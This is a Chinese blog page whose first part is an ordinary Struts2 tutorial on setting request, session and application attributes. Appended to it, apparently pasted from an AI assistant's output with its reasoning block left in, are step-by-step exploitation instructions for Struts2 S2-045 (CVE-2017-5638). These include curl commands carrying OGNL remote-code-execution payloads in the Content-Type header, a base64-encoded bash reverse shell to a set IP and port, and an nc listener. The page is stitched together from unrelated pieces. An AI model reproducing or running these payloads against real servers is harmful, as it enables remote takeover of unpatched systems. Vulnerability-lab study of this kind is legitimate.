struts2前后台传值汇总-(3)ServletActionContext-http格式

本文介绍如何在Struts2框架中通过ServletActionContext获取request、session及application对象,并利用这些对象设置属性值。同时,展示了如何在前端页面通过EL表达式和控制反转IOC的方式读取这些属性。

后台调用ServletActionContext.getServletContext()获取application,ServletActionContext.getRequest()获取request信息,然后通过request信息获取session信息。和容器绑定可以获取除传值以外的容器其他信息。

package struts.test.action;

import java.sql.SQLException;
import java.util.Map;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

import org.apache.struts2.ServletActionContext;

import com.opensymphony.xwork2.ActionSupport;

/**
 * 登录练习
 * @author zk
 *
 */
public class LoginAction extends ActionSupport {
	//获取request对象
	HttpServletRequest request1;
	HttpSession session1;
	ServletContext application1;
	
	@Override
	public String execute() throws Exception {
		request1 = ServletActionContext.getRequest();
		session1 = request1.getSession();
		application1 = ServletActionContext.getServletContext();
		
		request1.setAttribute("req", "request1属性");
		session1.setAttribute("ses", "session1属性");
		application1.setAttribute("app", "application1属性");
		
		return SUCCESS;
	}
	

}

 

前台2种方式获取(EL表达式和控制反转IOC)

<%@ page pageEncoding="UTF-8"%>  
<%@ taglib uri="/struts-tags" prefix="s" %>  
<%   
    String path = request.getContextPath();   
%>  
<html>  
<head></head>  
<body>  
    <h1>adminSuc</h1>  
    管理员页面      
    <br/><br/>  
    requset属性接受:<s:property value="#request.req"/> <br/>  
    session属性接受:<s:property value="#session.ses"/><br/>  
    application属性接受:<s:property value="#application.app"/><br/>  
    <br/>  
    =============================   
    <br/>    
    <br/><h1> 另外一种获取方法 :</h1><br/>  
    requset属性接受:${requestScope.req}<br/>  
    session属性接受:${sessionScope.ses}<br/>  
    application属性接受:${applicationScope.app}<br/>  
    <br/>  
    <br/>    
    <a href="<%=path %>/login.jsp">返回</a>  
</body>  
</html>  

 

<think>我们参考提供的引用内容,特别是引用[4]和引用[5]来回答用户的问题。用户明确要求复现S2-045漏洞(CVE-2017-5638)。 根据引用[4]:该漏洞影响范围是使用基于Jakarta插件的文件上功能时,通过修改HTTP请求头中的Content-Type来触发漏洞。 引用[5]给出了具体的利用代码,是一个OGNL表达式,用于执行系统命令(例如反弹shell)。 复现步骤: 1. 环境搭建:使用vulhub提供的环境,进入s2-045目录,启动环境。 2. 构造恶意请求:利用curl或其他工具发送一个HTTP请求,在Content-Type头中插入恶意的OGNL表达式。 3. 执行命令:OGNL表达式会执行任意系统命令,如计算233*233(用于验证)或者反弹shell。 具体步骤: 步骤1:搭建漏洞环境 - 假设已经安装好docker和vulhub漏洞库。 - 进入对应目录:`cd vulhub/struts2/s2-045` - 启动环境:`docker-compose up -d` 步骤2:验证漏洞存在(以执行计算233*233为例) - 构造恶意请求,将以下命令中的URL替换为实际目标URL(通常是8080端口) - 命令示例: ```bash curl -v -X POST http://目标IP:8080/ -H "Content-Type: %{(#nike=&#39;multipart/form-data&#39;).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[&#39;com.opensymphony.xwork2.ActionContext.container&#39;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(233*233))}" ``` - 如果漏洞存在,返回的响应中会包含233*233的计算结果(54289)。 步骤3:执行反弹shell(可选) - 需要将OGNL表达式中的命令替换为反弹shell的命令,并替换IP和端口。 - 注意:OGNL表达式中的特殊字符需要进行适当编码(如引号、重定向符号等)。 - 引用[5]中给出了一个反弹shell的OGNL表达式示例,但注意该示例中使用了`bash -i>&/dev/tcp/ip/port 0>&1`,需要将`ip`和`port`替换为攻击机的IP和监听端口。 - 示例代码(注意:实际使用需要将单引号内的命令替换,并确保整个表达式正确): ```bash %{(#nike=&#39;multipart/form-data&#39;).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[&#39;com.opensymphony.xwork2.ActionContext.container&#39;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=&#39;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}&#39;).(#iswin=(@java.lang.System@getProperty(&#39;os.name&#39;).toLowerCase().contains(&#39;win&#39;))).(#cmds=(#iswin?{&#39;cmd.exe&#39;,&#39;/c&#39;,#cmd}:{&#39;/bin/bash&#39;,&#39;-c&#39;,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} ``` - 上面的反弹shell命令采用了base64编码(编码内容为`bash -i >& /dev/tcp/192.168.12.1/9999 0>&1`),以避免特殊字符问题。实际使用时需要将IP和端口替换成攻击机的IP和端口,并重新编码(注意:base64编码后替换示例中的`YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjEvOTk5OSAwPiYx`)。 步骤4:在攻击机上开启监听 - 使用nc命令监听端口:`nc -lvp 9999` 步骤5:发送恶意请求 - 将构造好的恶意Content-Type头放入POST请求中发送到目标。 注意事项: 1. 复现环境为实验环境,请勿用于非法用途。 2. 复现完成后,关闭环境:`docker-compose down` 引用说明: [^4] 提供了漏洞描述和环境搭建方法。 [^5] 提供了具体的利用代码。 根据以上步骤,我们可以完成S2-045漏洞的复现。 </think>### Struts2 漏洞复现(S2-045/CVE-2017-5638) 根据引用内容和漏洞复现最佳实践,步骤如下: #### 一、漏洞原理 该漏洞源于Jakarta文件上插件的异常处理机制。当攻击者**恶意构造`Content-Type`请求头**时,Struts2会错误执行其中的OGNL表达式,导致远程代码执行(RCE)[^4][^5]。影响范围: - Struts 2.3.5 - 2.3.31 - Struts 2.5 - 2.5.10 #### 二、复现步骤 1. **环境搭建** 使用Vulhub靶场(需提前安装Docker): ```bash cd vulhub/struts2/s2-045 # 进入漏洞目录 docker-compose up -d # 启动环境 docker ps # 确认容器运行(默认端口8080) ``` 2. **验证漏洞存在性** 执行测试命令(计算`233*233`): ```bash curl -v -X POST http://目标IP:8080/ \ -H "Content-Type: %{(#nike=&#39;multipart/form-data&#39;).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(233*233))}" ``` **预期结果**:响应中包含`54289`(即$233^2$的计算结果)[^5]。 3. **获取反向Shell(关键步骤)** 修改OGNL表达式执行反弹Shell: ```bash # 替换以下内容: # <ATTACKER_IP> = 攻击机IP # <PORT> = 监听端口 PAYLOAD=&#39;%{(#nike="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="bash -c {echo,<BASE64_ENCODED_COMMAND>}|{base64,-d}|{bash,-i}").(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))}&#39; # 生成Base64编码的反弹Shell命令(示例): SHELL_CMD="bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1" ENCODED_CMD=$(echo "$SHELL_CMD" | base64 | tr -d &#39;\n&#39;) # 发送Payload curl -v -X POST http://目标IP:8080/ -H "Content-Type: $PAYLOAD" ``` **说明**:需提前在攻击机用`nc -lvp <PORT>`监听端口[^5]。 #### 三、防御建议 1. 升级到Struts 2.3.322.5.10.1+ 2. 禁用Jakarta文件上插件 3. 在WAF中过滤异常`Content-Type`头(如包含`#`、`{`等符号) #### 复现注意事项 - 实验环境需隔离,避免影响真实系统 - Vulhub环境复现后关闭容器:`docker-compose down` - 反向Shell命令需根据目标系统调整(Windows/Linux) --- ### 相关问题 1. Struts2其他高危漏洞(如S2-005、S2-046)的利用原理有何异同? 2. 如何通过流量特征检测Struts2 OGNL注入攻击? 3. 除文件上外,Struts2还有哪些常见攻击面? [^1]: vulhub漏洞复现篇:s2-046 [^2]: vulhub漏洞复现篇:S2-005 [^3]: Struts2(s2-045)漏洞分析 [^4]: vulhub漏洞复现篇:s2-045 [^5]: vulhub-Struts2-045漏洞复现
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值